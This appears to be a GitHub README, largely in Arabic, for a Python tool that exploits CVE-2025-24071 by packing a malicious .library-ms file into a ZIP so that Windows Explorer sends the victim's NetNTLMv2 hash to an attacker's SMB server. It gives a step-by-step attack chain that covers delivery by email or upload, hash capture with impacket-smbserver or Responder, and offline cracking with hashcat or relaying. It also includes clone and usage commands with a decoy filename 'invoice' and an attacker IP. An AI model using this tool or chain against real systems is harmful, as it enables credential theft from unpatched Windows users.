
مولّد PoC بلغة Python بدون اعتماديات لـ CVE-2025-24071 يقوم بإنشاء ملف .library-ms خبيث داخل ZIP لتحفيز كشف تجزئة NTLM في Windows Explorer.
⚠️ إخلاء المسؤولية: هذه الأداة مخصصة للأغراض التعليمية واختبار الاختراق المصرّح به فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح باختبارها. الاستخدام غير المصرّح به غير قانوني.
يقوم Windows File Explorer تلقائيًا بتحليل أنواع معينة من الملفات بمجرد ظهورها في عرض المجلد، دون أي تفاعل من المستخدم مثل النقر المزدوج. تفشل الإصدارات المتأثرة في التحقق بشكل صحيح من ملفات .library-ms، والتي يمكنها تعريف موصل بحث يشير إلى مسار SMB بعيد عشوائي.
عندما يعرض Explorer مجلدًا يحتوي على ملف .library-ms خبيث (على سبيل المثال، مباشرة بعد استخراج أرشيف ZIP/RAR)، فإنه يحاول بصمت الاتصال بمسار UNC الذي يتحكم فيه المهاجم لحل موقع "المكتبة". يحمل محاولة اتصال SMB هذه تجزئة NetNTLMv2 الخاصة بالضحية، والتي يمكن للمهاجم الذي يلتقط حركة المرور على المضيف المحدد (على سبيل المثال، باستخدام impacket-smbserver أو Responder) أن يحاول بعد ذلك كسرها دون اتصال أو إعادة توجيهها.
يحتوي هذا المستودع على إعادة كتابة بسيطة وخالية من التبعيات لمولّد PoC عام لهذه الثغرة: فهو يبني ملف .library-ms الخبيث ويحزمه في ZIP، باستخدام مكتبة Python القياسية فقط.
ملف .library-ms هو مستند XML يخبر Windows Explorer بعرض محتويات موقع بعيد أو محلي كـ "مكتبة". يمكن لعنصر <simpleLocation><url> الخاص به أن يشير إلى مسار UNC (\\<host>\<share>).
في الإصدارات المتأثرة، يحل Explorer هذا الموقع بمجرد عرض المجلد — لا حاجة إلى نقر مزدوج أو إجراء صريح بخلاف وجود الملف مرئيًا في عرض المجلد (على سبيل المثال، مباشرة بعد استخراج أرشيف يحتويه).
impacket-smbserver، Responder، إلخ)..library-ms خبيث يشير إلى \\<attacker_ip>\<share>.1. Start an SMB listener on the attacker machine
2. Generate a .library-ms file pointing to \\<attacker_ip>\<share>
3. Package it into a ZIP archive
4. Deliver the ZIP to the victim (upload feature, email, share, etc.)
5. Victim extracts the ZIP and Explorer renders the folder
6. Explorer resolves the UNC path -> SMB auth attempt -> NetNTLMv2 hash captured
7. Crack the hash offline (hashcat -m 5600) or relay it
os، sys، argparse، zipfile)لا حاجة إلى تبعيات طرف ثالث لإنشاء الحمولة. يتطلب التقاط التجزئة مستمع SMB مثل Impacket (impacket-smbserver) أو Responder على جانب المهاجم.
git clone https://github.com/BardLaudian/CVE-2025-24071.git
cd CVE-2025-24071
usage: cve_2025_24071.py [-h] [-n NAME] [-i IP] [-s SHARE] [-o OUTDIR] [-a]
options:
-n NAME, --name NAME Output base filename (no extension)
-i IP, --ip IP Attacker IP to embed as the UNC path target
-s SHARE, --share SHARE Share name (default: shared)
-o OUTDIR, --outdir OUTDIR Output directory (default: current dir)
-a, --affected-versions Print the list of affected Windows versions and exit
python3 cve_2025_24071.py -n invoice -i 10.10.14.5
ينتج invoice.zip، الذي يحتوي على invoice.library-ms مشيرًا إلى \\10.10.14.5\shared.
impacket-smbserver shared /tmp/smbshare -smb2support
python3 cve_2025_24071.py -n report -i 10.10.14.5 -s data -o ./payloads
python3 cve_2025_24071.py -a
.library-ms وأنواع الملفات المشابهة التي تُحلَّل تلقائيًا قبل وصولها إلى محطات عمل المستخدمين النهائيين..library-ms، دون تقنية استغلال جديدة| الحقل | القيمة |
|---|
| CVE | CVE-2025-24071 |
| المتأثر | Windows 10 (1607–22H2)، Windows 11 (22H2–24H2)، Windows Server 2012 R2 – 2025 |
| النوع | كشف المعلومات الحساسة لجهة فاعلة غير مصرّح لها (CWE-200) |
| الصلاحيات | لا شيء (مهاجم غير مصادق؛ يتطلب من الضحية عرض/استخراج الملف) |
| التأثير | كشف تجزئة NetNTLMv2 → كسر دون اتصال أو إعادة توجيه NTLM |
| CVSS | 7.5 عالي (وفق GitHub Advisory Database) / 6.5 (أساس MSRC) |
| التصحيح | تحديثات تراكمية لثلاثاء التصحيح مارس 2025 |